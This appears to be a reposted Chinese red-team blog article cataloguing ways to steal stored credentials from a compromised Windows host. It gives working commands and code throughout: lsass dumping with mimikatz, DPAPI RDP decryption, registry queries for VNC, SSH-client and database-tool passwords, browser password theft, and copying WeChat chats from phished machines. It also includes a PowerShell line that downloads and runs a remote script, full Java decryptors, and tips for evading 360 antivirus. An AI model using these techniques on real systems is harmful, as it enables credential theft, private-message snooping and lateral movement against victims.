<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透 | 最全的內網憑據密碼收集方法和技巧總結

    VSole2023-01-03 10:28:26

    在攻防場景下,紅隊人員拿下一臺終端或服務器后,第一步要做的往往就是信息收集,為最大化利用權限,擴大戰果,密碼抓取必不可少,這里針對常見應用軟件和系統等密碼抓取做了記錄和總結,希望能幫助你作為參考。

    RDP憑證

    本機RDP密碼

    抓取本機RDP密碼是一個我們常遇到的場景,通常使用mimikatz抓取RDP密碼。

    當系統為win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,這時抓取的明文密碼為空。

    可以嘗試解密NTLM獲取明文密碼。

    上不了線的情況下,也可以在webshell中來dump內存,保存到本地解密即可。Dump內存的工具有很多,這里我們使用procdump64.exe為例進行dump內存:

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    

    然后本地使用mimikatz進行解密:

    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full
    

    文件lsass.dmp的導出可以有多種方式:procdump,avdump,sqldumper,comsvcs.dll等等,這里不過多贅述,能夠免殺轉儲即可。

    RDP登錄憑證

    mimikatz

    當我們使用Windows自帶的遠程桌面登錄成功并選擇保存憑據時,會在本地留下rdp登錄憑證,如果我們獲得了遠程桌面的憑證,可以方便我們進行滲透測試中的橫向移動。查看本機鏈接過哪些機器:

    reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
    

    獲取Credentials:

    dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
    

    獲取guidMasterKey

    mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\Credentials值" exit
    

    mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt
    

    查找guid對應的MasterKey:

    解密獲取明文rdp憑證:

    mimikatz.exe "dpapi::cred /in:%userprofile%\AppData\Local\Microsoft\Credentials\ Credentials值/masterkey:masterkey值" exit
    

    netpass

    也可以利用netpass直接抓取密碼,使用時注意對應系統版本,下載地址:https://www.nirsoft.net/utils/network_password_recovery.html

    同時netpass也提供了命令行版本,下載頁面:https://www.nirsoft.net/password_recovery_tools.html

    VNC密碼

    UltraVNC

    默認配置路徑:

    c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini
    

    image.png

    解密工具:https://github.com/jeroennijhof/vncpwd

    image.png

    TightVNC

    TightVNC的加密后密碼存在注冊表里內,注意查詢需要管理員權限。

    reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword 
    reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
    reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort
    

    解密工具:https://github.com/jeroennijhof/vncpwd

    image.png

    image.png

    RealVNC

    RealVNC別名WinVNC,RealVNC的加密后密碼存在注冊表里內,注意查詢需要管理員權限。

    reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
    

    解密工具:https://github.com/jeroennijhof/vncpwd

    image.png

    TigerVNC

    TigerVNC的加密后密碼存在注冊表里內,查詢無需管理員權限。

    reg query HKEY_CURRENT_USER\SOFTWARE\TigerVNC\WinVNC4 /v "password"
    

    解密工具:https://github.com/jeroennijhof/vncpwd

    image.png

    VPN密碼

    Windows自帶VPN連接,如果在配置VPN時選擇記住此密碼則會保存連接信息。

    image.png

    默認保存連接信息目錄

    %AppData%\Roaming\Microsoft\Network\Connections\Pbk
    

    image.png

    我們可以使用Dialupass來獲取VPN密碼信息,注意需要管理員權限,Dialupass使用說明和下載地址:https://www.nirsoft.net/utils/dialupass.html

    image.png

    同時Dialupass也提供了命令行版本,下載頁面:https://www.nirsoft.net/password_recovery_tools.html

    image.png

    免殺:截至目前刪除程序版本信息即可免殺360。

    WiFi密碼

    WiFi信息查詢命令,在cmd下執行,無需管理員權限。

    for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
    

    image.png

    星號密碼

    在攻防場景下很多時候在主機或服務器上遇到一些軟件配置使用了星號密碼,我們可以直接嘗試使用星號密碼查看來獲取明文密碼,省去尋找和解密配置文件的時間。常用的星號密碼查看器:

    • Asterisk Password Spy[1] 支持180個應用軟件密碼查看
    • peekPassword[2]

    image.png

    通信軟件

    個人微信

    很多時候我們釣魚控下的主機都安裝了個人微信,很多時候會在微信上溝通密碼等敏感信息,在攻防場景下,由于是個人主機不方便直接遠程操作,所以我們可以下載其離線聊天數據庫離線解密。

    獲取解密密鑰

    我們可以使用工具SharpWxDump[3]來獲取解密密鑰,使用該工具需要注意兩點,一是編譯工具選擇x86架構,而是對方微信必須是在登錄狀態。

    image.png

    image.png

    下載聊天記錄

    微信聊天文件一般在:

    %USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG0.db
    %USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG1.db
    %USERPROFILE%\Documents\WeChat Files\wxid_xxxxxxxxxxxxxx\Msg\MSG2.db
    

    注意:如果MSG0.db的大小超出240MB會自動生成MSG1.db,以此類推。打包聊天文件:

    cd /d C:\Users\Public
    # 由于微信運行會占用此文件,需要進行復制。
    copy "C:\Users\test\Documents\WeChat Files\wxid_ll8ukjje2na922\Msg\Multi\MSG0.db" MSG0.db
    # 使用Windows系統自帶命令進行壓縮,方便快速下載。
    makecab MSG0.db MSG0.cab
    # 下載到本地后解壓
    expand MSG0.cab MSG0.db
    

    解密聊天文件

    下載ChatViewTool[4]后,將數據庫密鑰保存為文本文件DBPass.Bin,將解壓后的聊天記錄數據庫MSG0.db放在同目錄。

    image.png

    隨后打開ChatViewTool點擊數據庫解密并選擇密鑰文件DBPass.Bin和聊天記錄數據庫MSG0.db所在的目錄:

    image.png

    待解密完成后,會生成MSG0.db_dec.db,將MSG0.db_dec.db放到一個新目錄,點擊查看數據庫選擇此目錄即可完成會話展示,雙擊聯系人列表可展示對應的聊天記錄。

    image.png

    個人QQ

    個人QQ由于有騰訊TP保護,導致不能動態地從個人QQ的內存獲取其聊天數據庫解密密鑰,暫時無法解密,感興趣可以閱讀一文。


    https://bbs.pediy.com/thread-266370.htm
    

    運維開發

    SVN

    SVN類的版本控制軟件如TortoiseSVN默認會將緩存的憑據保存到配置文件中,在Windows平臺上默認會調用Windows數據保護API進行加密。

    image.png

    SVN類客戶端軟件默認配置文件目錄:

    %APPDATA%\Subversion\auth\svn.simple\
    %APPDATA%\Roaming\Subversion\auth\svn.simple\
    

    image.png

    我們可工具以使用TSvnPwd來解密。工具下載地址:http://www.leapbeyond.com/ric/TSvnPD/

    image.png

    FileZilla

    簡介:FileZilla客戶端是一個快速可靠的、跨平臺的FTP,FTPS和SFTP客戶端。

    找到FileZilla的默認配置文件目錄:

    %userprofile%\AppData\Roaming\FileZilla\recentservers.xml
    %userprofile%\AppData\Roaming\FileZilla\sitemanager.xml
    

    密碼base64解碼即可得到明文:

    也可以利用SharpDecryptPwd直接獲取密碼 工具下載地址:https://github.com/uknowsec/SharpDecryptPwd

    SharpDecryptPwd.exe -FileZilla
    

    Winscp

    簡介:WinSCP 是一個 Windows 環境下使用的 SSH 的開源圖形化 SFTP 客戶端。同時支持 SCP 協議。它的主要功能是在本地與遠程計算機間安全地復制文件,并且可以直接編輯文件。

    通過注冊表獲得密文:

    reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"
    reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.192.128"
    

    通過winscppwd.exe即可解密:

    winscppwd.exe root 192.168.192.128 密文
    

    有時候管理員會導出配置為WinSCP.ini文件。

    這時候直接查找該文件,然后解密即可。winscppwd下載地址:https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml也可以使用SharpDecryptPwd直接獲取密碼

    Xshell

    簡介:Xshell是一款功能強大的終端模擬器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。Xshell密碼默認保存位置:

    XShell 5:%userprofile%\Documents\NetSarang\Xshell\Sessions
    XShell 6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
    XShell 7:%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions
    

    SharpXDecrypt支持解密XShell所有版本,包括XShell 7:

    image.png

    下載地址:https://github.com/JDArmy/SharpXDecrypt 注:XShell 7默認session里面的密碼為空,這種可以使用星號密碼查看器直接查看密碼

    FinalShell

    簡介:FinalShell是一體化的的服務器,網絡管理軟件,不僅是ssh客戶端,還是功能強大的開發,運維工具。默認配置文件地址:

    %userprofile%\AppData\Local\finalshell\conn\xxx.json
    

    使用FinalShell-Decoder選擇目錄即可解密:

    下載地址:https://github.com/passer-W/FinalShell-Decoder

    SecureCRT

    SecureCRT默認配置目錄:

    dir %APPDATA%\VanDyke\Config\Sessions\
    

    SecureCRT 7.3.3之前的版本使用password加密算法,之后的版本使用password v2算法:

    S:"Password"=u17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc
    S:"Password V2"=02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc
    

    7.x 版本解密 [ 不帶第一位 "u" ]

    SecureCRTCipher.py dec 17cf50e394ecc2a06fa8919e1bd67cf0f37da34c78e7eb87a3a9a787a9785e802dd0eae4e8039c3ce234d34bfe28bbdc
    

    8.x 版本解密 [ 不帶前面三位 "02:" ]

    SecureCRTCipher.py dec -v2 7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1fc5cc1ae0ee2930e6af2e5e644a28ebe3fc
    

    image.png

    SecureCRT下載地址:https://github.com/HyperSine/how-does-SecureCRT-encrypt-password

    Mobaxterm

    MobaXterm連接信息默認全部加密存于注冊表中,解密兩種情況。

    無管理密碼的解密

    首先是先切到指定用戶權限下,從注冊表中讀取連接信息和賬密 hash,此處測試的 MobaXterm 版本為 12.04 ,該版本不會強制你為連接設置管理密碼。

    # reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm 
    # reg query HKEY_CURRENT_USER\\Software\\Mobatek\\MobaXterm\\P 
    

    之后再把密碼 hash 粘回本地解密,要帶上目標機器名 和 MobaXterm 的安裝用戶。

    python3 MobaXtermCipher.py dec -sysh Motoo-IISWeb -sysu administrator -h 192.168.159.6 -u root +NYMdvHihPWokIa5KdDcjfIjb7pV1Qu*** 
    

    帶管理密碼的解密

    此處測試的 MobaXterm 為最新版 20.5,該版本每次連接都會強制你設置管理密碼。

    reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P
    python3 MobaXtermCipher.py dec -p admin!@#45 ehx0N63ueLNPkw==
    

    Navicat

    簡介:Navicat Premium 是一套多連接數據庫開發工具,可一次快速方便地訪問多種數據庫。

    離線解密

    首先查詢Navicat注冊表里的密碼:

    reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v host
    reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v username
    reg query HKEY_CURRENT_USER\Software\PremiumSoft\ /s /v pwd
    

    image.png

    然后可以使用以下代碼在線解密,注意Navicat版本:在線運行地址:https://www.nhooo.com/tool/java8/

    image.png

    package org.example;
    import javax.crypto.Cipher;
    import javax.crypto.spec.IvParameterSpec;
    import javax.crypto.spec.SecretKeySpec;
    import javax.xml.bind.DatatypeConverter;
    import java.nio.charset.StandardCharsets;
    import java.security.MessageDigest;
    import java.util.Arrays;
    public class Main {
        public static void main(String []args) {
            //navicat11版本解密
            Navicat11Cipher de = new Navicat11Cipher();
            System.out.println(de.decryptString("15057D7BA390"));
            //navicat12以上版本解密
            Navicat12Cipher de12 = new Navicat12Cipher();
            System.out.println(de12.decryptString("503AA930968F877F04770B47DD731DC0"));
        }
        public static class Navicat11Cipher {
            public static final String DefaultUserKey = "3DC5CA39";
            private byte[] _IV;
            private SecretKeySpec _Key;
            private Cipher _Encryptor;
            private Cipher _Decryptor;
            private void initKey(String UserKey) {
                try {
                    MessageDigest sha1 = MessageDigest.getInstance("SHA1");
                    byte[] userkey_data = UserKey.getBytes(StandardCharsets.UTF_8);
                    sha1.update(userkey_data, 0, userkey_data.length);
                    _Key = new SecretKeySpec(sha1.digest(), "Blowfish");
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            private void initChiperEncrypt() {
                try {
                    // Must use NoPadding
                    _Encryptor = Cipher.getInstance("Blowfish/ECB/NoPadding");
                    _Encryptor.init(Cipher.ENCRYPT_MODE, _Key);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            private void initChiperDecrypt() {
                try {
                    // Must use NoPadding
                    _Decryptor = Cipher.getInstance("Blowfish/ECB/NoPadding");
                    _Decryptor.init(Cipher.DECRYPT_MODE, _Key);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            private void initIV() {
                try {
                    byte[] initVec = DatatypeConverter.parseHexBinary("FFFFFFFFFFFFFFFF");
                    _IV = _Encryptor.doFinal(initVec);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            private void xorBytes(byte[] a, byte[] b) {
                for (int i = 0; i < a.length; i++) {
                    int aVal = a[i] & 0xff; // convert byte to integer
                    int bVal = b[i] & 0xff;
                    a[i] = (byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte
                }
            }
            private void xorBytes(byte[] a, byte[] b, int l) {
                for (int i = 0; i < l; i++) {
                    int aVal = a[i] & 0xff; // convert byte to integer
                    int bVal = b[i] & 0xff;
                    a[i] = (byte) (aVal ^ bVal); // xor aVal and bVal and typecast to byte
                }
            }
            {
                initKey(DefaultUserKey);
                initChiperEncrypt();
                initChiperDecrypt();
                initIV();
            }
            private byte[] Encrypt(byte[] inData) {
                try {
                    byte[] CV = Arrays.copyOf(_IV, _IV.length);
                    byte[] ret = new byte[inData.length];
                    int blocks_len = inData.length / 8;
                    int left_len = inData.length % 8;
                    for (int i = 0; i < blocks_len; i++) {
                        byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);
                        xorBytes(temp, CV);
                        temp = _Encryptor.doFinal(temp);
                        xorBytes(CV, temp);
                        System.arraycopy(temp, 0, ret, i * 8, 8);
                    }
                    if (left_len != 0) {
                        CV = _Encryptor.doFinal(CV);
                        byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);
                        xorBytes(temp, CV, left_len);
                        System.arraycopy(temp, 0, ret, blocks_len * 8, temp.length);
                    }
                    return ret;
                } catch (Exception e) {
                    e.printStackTrace();
                    return null;
                }
            }
            public String encryptString(String inputString) {
                try {
                    byte[] inData = inputString.getBytes(StandardCharsets.UTF_8);
                    byte[] outData = Encrypt(inData);
                    return DatatypeConverter.printHexBinary(outData);
                } catch (Exception e) {
                    e.printStackTrace();
                    return "";
                }
            }
            private byte[] Decrypt(byte[] inData) {
                try {
                    byte[] CV = Arrays.copyOf(_IV, _IV.length);
                    byte[] ret = new byte[inData.length];
                    int blocks_len = inData.length / 8;
                    int left_len = inData.length % 8;
                    for (int i = 0; i < blocks_len; i++) {
                        byte[] temp = Arrays.copyOfRange(inData, i * 8, (i * 8) + 8);
                        temp = _Decryptor.doFinal(temp);
                        xorBytes(temp, CV);
                        System.arraycopy(temp, 0, ret, i * 8, 8);
                        for (int j = 0; j < CV.length; j++) {
                            CV[j] = (byte) (CV[j] ^ inData[i * 8 + j]);
                        }
                    }
                    if (left_len != 0) {
                        CV = _Encryptor.doFinal(CV);
                        byte[] temp = Arrays.copyOfRange(inData, blocks_len * 8, (blocks_len * 8) + left_len);
                        xorBytes(temp, CV, left_len);
                        for (int j = 0; j < temp.length; j++) {
                            ret[blocks_len * 8 + j] = temp[j];
                        }
                    }
                    return ret;
                } catch (Exception e) {
                    e.printStackTrace();
                    return null;
                }
            }
            public String decryptString(String hexString) {
                try {
                    byte[] inData = DatatypeConverter.parseHexBinary(hexString);
                    byte[] outData = Decrypt(inData);
                    return new String(outData, StandardCharsets.UTF_8);
                } catch (Exception e) {
                    e.printStackTrace();
                    return "";
                }
            }
        }
        public static class Navicat12Cipher {
            private SecretKeySpec _AesKey;
            private IvParameterSpec _AesIV;
            {
                _AesKey = new SecretKeySpec("libcckeylibcckey".getBytes(StandardCharsets.UTF_8), "AES");
                _AesIV = new IvParameterSpec("libcciv libcciv ".getBytes(StandardCharsets.UTF_8));
            }
            public String encryptString(String plaintext) {
                try {
                    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
                    cipher.init(Cipher.ENCRYPT_MODE, _AesKey, _AesIV);
                    byte[] ret = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
                    return DatatypeConverter.printHexBinary(ret);
                } catch (Exception e) {
                    e.printStackTrace();
                    return "";
                }
            }
            public String decryptString(String ciphertext) {
                try {
                    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
                    cipher.init(Cipher.DECRYPT_MODE, _AesKey, _AesIV);
                    byte[] ret = cipher.doFinal(DatatypeConverter.parseHexBinary(ciphertext));
                    return new String(ret, StandardCharsets.UTF_8);
                } catch (Exception e) {
                    e.printStackTrace();
                    return "";
                }
            }
        }
    }
    

    SharpDecryptPwd

    也可以直接1使用SharpDecryptPwd抓取密碼:

    image.png

    遠程控制

    TeamViewer

    TeamViewer是遠程訪問、遠程控制及遠程支持解決方案,能夠遠程訪問位于各地的計算機或移動設備。直接獲取本機TeamViewer的ID以及密碼:

    SharpDecryptPwd.exe -TeamViewer
    

    SunLogin

    舊版本

    這里舊版本是指v11.0.0.38222以及以前的版本

    找到配置文件config.ini

    安裝版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
    便攜版(綠色版):C:\ProgramData\Oray\SunloginClient\config.ini
    

    fastcode便是本機識別碼,在這里是941244985 其中encry_pwd是本機驗證碼加密后的字段,我們使用工具即可解密 利用工具:https://github.com/wafinfo/Sunflower_get_Password

    解密得到本機驗證碼為4M9aON

    較新版本

    在向日葵v11.1.2.38529中,強化了加密機制,刪除了配置文件config.ini中的fastcode(本機識別碼)字段和encry_pwd(本機驗證碼)字段,而將這些敏感信息放到了注冊表中,我們可以通過注冊表查詢使用Sunflower_get_Password[5]工具即可解密。

    reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
    reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
    

    最新版本

    首先找到向日葵用戶進程,然后使用procdump等工具轉儲進程內存。

    tasklist /v | findstr /i sunlogin
    procdump64.exe -accepteula -ma 進程號
    

    image-20221109181701558.png

    使用Winhex打開轉儲文件,按下Ctrl+Alt+X快捷鍵打開十六進制值搜索功能,搜索十六進制值66617374636F646522203A20226b,即可找到本機識別碼。

    image-20221109182129937.png

    搜索十六進制值000000000000003C6620663D79616865692E626F6C642E323420633D636F6C6F725F65646974203E,使用F3快捷鍵可以跳到下一個匹配處,多跳2次即可找到本機驗證碼。

    image-20221109225035543.png

    ToDesk

    本機連接

    ToDesk的配置路徑在安裝目錄下的config.ini。

    image.png

    clientId為設備ID,AuthMode為認證模式,0為僅使用臨時密碼,1為僅使用安全密碼,2為都可以使用,tempAuthPassEx為加密后的臨時密碼,authPassEx為加密后的安全密碼,我們只需本地安裝一個最新版本ToDesk,退出ToDesk,然后復制配置文件config.ini中的tempAuthPassEx或authPassEx字段到本地進行替換,最后重新運行ToDesk即可查看密碼。

    image.png

    image.png

    遠程連接

    ToDesk默認會保存連接過的信息,記錄的文件也是ToDesk安裝目錄下的userInfo.json文件,其中就有遠程連接的設備ID,主機名,連接密碼等密碼信息。

    image.png

    我們只需復制userInfo.json文件放在ToDesk安裝目錄下,重新運行ToDesk即可選擇進行遠程連接了,不需要輸入密碼。

    image.png

    瀏覽器

    常見瀏覽器

    WebBrowserPassView

    WebBrowserPassView使用說明和下載地址:https://www.nirsoft.net/utils/web_browser_password.html WebBrowserPassView支持解密以下瀏覽器:

    • ? Internet Explorer (Version 4.0 - 11.0)
    • ? Mozilla Firefox (All Versions)
    • ? Google Chrome
    • ? Chromium-Based Edge
    • ? Safari
    • ? Opera
    • ? Brave
    • ? Waterfox
    • ? SeaMonkey
    • ? Vivaldi
    • ? Yandex
    • ? Chromium

    image.png

    WebBrowserPassView也提供了命令行版本,下載頁面:https://www.nirsoft.net/password_recovery_tools.html

    image.png

    WebBrowserPassView也支持離線解密:

    image.png

    免殺:截至目前刪除程序版本信息即可免殺360。

    HackBrowserData

    HackBrowserData 是一個瀏覽器數據(密碼|歷史記錄|Cookie|書簽|信用卡|下載記錄|localStorage|瀏覽器插件)的導出工具,支持全平臺主流瀏覽器。在Windows平臺支持以下瀏覽器的密碼,Cookie,書簽和歷史記錄信息:

    • ? Google Chrome
    • ? Google Chrome Beta
    • ? Chromium
    • ? Microsoft Edge
    • ? 360 極速瀏覽器
    • ? QQ瀏覽器
    • ? Brave
    • ? Opera
    • ? OperaGX
    • ? Vivaldi
    • ? Yandex
    • ? CocCoc
    • ? Firefox
    • ? Firefox Beta
    • ? Firefox Dev
    • ? Firefox ESR
    • ? Firefox Nightly

    使用說明和下載地址:https://github.com/moonD4rk/HackBrowserData

    IE瀏覽器

    credgrap_ie_edge

    工具地址:https://github.com/HanseSecure/credgrap_ie_edge 內存執行powershell解密即可

    powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"
    

    落地解密

    IE Passwords Viewer

    可以直接使用iepv直接獲取賬密,使用說明和下載地址:https://www.nirsoft.net/utils/internet_explorer_password.html

    image.png

    同時iepv也提供了命令行版本,下載頁面:https://www.nirsoft.net/password_recovery_tools.html

    image.png

    免殺:截至目前刪除程序版本信息即可免殺360。

    360安全瀏覽器

    離線解密

    首先切到指定用戶權限下,獲取機器id,

    reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
    

    image.png

    然后找到賬密數據庫文件assis2.db路徑,將assis2.db下載到本地進行解密。

    reg query "HKCR\360SeSES\DefaultIcon"
    dir "C:\Users\aky\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis"
    

    執行解密:

    360SafeBrowserDecrypt.exe a9f521cd-2bd6-47fe-87db-69743456aa84 assis2.db
    

    image.png

    上傳解密

    在免殺的情況下也可以直接上傳360SafeBrowserDecrypt.exe進行解密。

    image.png

    其他瀏覽器

    如果遇到其他的小眾瀏覽器,可以在本地安裝一個相同版本的瀏覽器,然后退出瀏覽器,將目標上的瀏覽器用戶數據目錄打包到本地,在相同目錄進行替換,重新打開瀏覽器,去瀏覽器設置里查看密碼。以下為一些瀏覽器的用戶數據目錄:

    %AppData%/Local/Google/Chrome/User Data/Default/
    %AppData%/Local/Google/Chrome Beta/User Data/Default/
    %AppData%/Local/Chromium/User Data/Default/
    %AppData%/Local/Microsoft/Edge/User Data/Default/
    %AppData%/Local/BraveSoftware/Brave-Browser/User Data/Default/
    %AppData%/Local/360chrome/Chrome/User Data/Default/
    %AppData%/Local/Tencent/QQBrowser/User Data/Default/
    %AppData%/Roaming/Opera Software/Opera Stable/
    %AppData%/Roaming/Opera Software/Opera GX Stable/
    %AppData%/Local/Vivaldi/User Data/Default/
    %AppData%/Local/CocCoc/Browser/User Data/Default/
    %AppData%/Local/Yandex/YandexBrowser/User Data/Default/
    %AppData%/Roaming/Mozilla/Firefox/Profiles/
    %AppData%/Roaming/SogouExplorer/Webkit/
    

    WEB系統

    通用方法

    思路:絕大部分的配置信息,在內存中,都是String類型的field字段,可以使用OQL語言直接從內存中提取password字段的field值。

    工具:https://github.com/corener/JavaPassDump

    使用步驟:1、使用jcmd獲取JVM堆內存 jmap,jcmd 都是JDK自帶工具,指定JVM pid 直接dump

    jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760
    

    2.1.png

    2、使用OQLQuery提取密碼 OQL語句:

    var filter = {};
    map(heap.classes(), function (cls) {
       return map(cls.fields, function (field) { 
          if( field.name.toString().contains("pass") || field.name.toString().contains("username") ||field.name.toString().contains("PASS")){
            return map(heap.objects(cls), function (obs) {
              var tag = cls.name+"|"+field.name ;
              var res =  "class : "+cls.name+" Field [ "+field.name.toString()+" : ";
              if( obs[field.name.toString()] != null ){
                res = res + obs[field.name.toString()].toString()+" ]";
              }else{
                res = res + "null ]";
              }
              if (filter[tag] == null) {
                filter[tag] = res;
                print(res);
              }
              return null;
            });
          }
          return null;
      });
    });
    

    使用base64編碼oql語句傳入OQLQuery進行提取:

    java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=
    

    1.1.png

    42f3e0d7257d7c3d6bec1dc42ab78d7.png

    從圖中即可看到數據庫連接密碼。

    致遠OA

    數據庫配置文件默認位置:

    /Seeyon/A8[致遠版本]/base/conf/datasourceCtp.properties
    

    使用工具解密:https://github.com/jas502n/OA-Seeyou

    泛微系列

    e-cology

    數據庫配置文件默認位置:

    D:\WEAVER\ecology\WEB-INF\prop\weaver.properties
    

    用戶名表:HrmResource 管理員表:HrmResourceManager、TB_USER

    image.png

    e-bridge

    數據庫配置文件默認位置:

    D:\ebridge\tomcat\webapps\ROOT\WEB-INF\init.properties 
    

    e-mobile

    數據庫配置文件默認位置:

    D:\WEAVER\emobile\webapps\ROOT\WEB-INF\classes\application.properties 
    

    e-office

    數據庫配置文件默認位置:

    D:\eoffice\webroot\inc\oa_config.php
    D:\eoffice\bin\mysql_config.ini
    

    藍凌OA

    解密后臺管理密碼

    后臺管理地址一般是:

    http://x.x.x.x/admin.do
    

    如果后臺管理地址遇到不是admin.do,則可以嘗試從以下文件中搜索SysConfigAdminAction即可找到后臺管理地址:

    老版本對應的為:\WEB-INF\KmssConfig\sys\config\struts.xml
    新版本對應的為:\WEB-INF\KmssConfig\sys\config\spring-safe.xml
    或者:\WEB-INF\KmssConfig\sys\config\spring-mvc.xml
    

    加密后的后臺管理密碼一般保存在:

    /WEB-INF/KmssConfig/admin.properties
    

    其使用的加密算法為DES-ECB,密鑰為kmssAdminKey,解密工具:https://github.com/zhutougg/LandrayDES

    image.png

    配置文件解密

    配置文件默認路徑:

    ekp/WEB-INF/KmssConfig/kmssconfig.properties
    

    其使用的加密算法為DES-ECB,密鑰為kmssPropertiesKey。

    image.png

    解密代碼:

    package org.example;
    import cn.hutool.core.util.CharsetUtil;
    import cn.hutool.crypto.SecureUtil;
    import cn.hutool.crypto.symmetric.DES;
    import java.nio.file.Files;
    import java.nio.file.Path;
    import java.nio.file.Paths;
    public class Main {
        public static String decrypt(byte[] bytes, String key) {
            DES des = SecureUtil.des(key.getBytes());
            return des.decryptStr(bytes, CharsetUtil.charset("gb2312"));
        }
        public static void main(String[] args) throws Exception {
            Path path = Paths.get("D:\\Users\\Shmily\\Desktop\\kmssconfig.properties");
            byte[] bytes = Files.readAllBytes(path);
            String result = decrypt(bytes, "kmssPropertiesKey");
            System.out.println(result);
        }
    }
    

    數據庫用戶密碼解密 用戶表:sys_org_person 前臺用戶在/login.jsp登陸時使用的密碼使用了md5和DES兩種加密方式存在數據庫中,其使用DES算法為DES-CBE,密鑰為kmssPropertiesKey。

    f5a2cb7dffa11bec2fe1615b2ad6676.png

    解密工具:https://github.com/zhutougg/LandrayDES

    image.png

    萬戶OA

    數據庫配置文件默認位置:

    D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml
    D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties
    /WEB-INF/config/ezoffice/config.xml
